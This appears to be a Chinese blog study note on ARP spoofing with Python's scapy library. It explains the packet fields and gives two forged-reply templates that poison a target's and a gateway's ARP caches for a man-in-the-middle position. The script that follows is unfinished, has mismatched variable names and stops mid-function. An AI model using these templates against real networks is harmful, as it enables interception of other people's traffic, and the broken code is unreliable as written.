1. 程式人生 > >Python-scapy學習

Python-scapy學習

scapy-arpspoof

from scapy.all import Ether,ARP,sendp,getmacbyip

Ether:用來構建乙太網資料包
ARP:構建ARP資料包的類
sendp:在第二層傳送資料包
getmacbyip:返回對應IP的MAC地址

核心部分:

偽造閘道器 欺騙目標計算機:

Ether(src=[本機MAC],dst=[目標MAC])/ARP(hwsrc=[本機MAC],psrc=[網管IP],hwdst=[目標MAC],pdst=[目標IP],op=2)

ARP將閘道器IP地址對映到本機MAC上,針對dst即目標(dst值為空時,針對當前網段所有IP);Ether以閘道器身份向目標發包

偽造目標計算機 欺騙閘道器:

Ether(src=[本機MAC],dst=[閘道器MAC])/ARP(hwsrc=[本機MAC],psrc=[目標IP],hwdst=[閘道器MAC],pdst=[閘道器IP],op=2)

ARP將目標IP地址對映到本機MAC上,針對閘道器;Ether以目標身份向閘道器發包(猜測psrc不填時,將偽造當前網段內所有IP的發包)
op表示ARP響應

from scapy.all import Ether,ARP,sendp,getmacbyip,get_if_hwaddr
bjMAC=get_if_hwaddr(wk)
mbMAC=getmacbyip(mbIP)
wgMAC=getmacbyip(wgIP)
ether=Ether()
arp=ARP()
def
arpSpoof(mbMAC,wgMAC,bjMAC):
try: eth.src=bjMAC eth.dst=wgMAC

未完待續…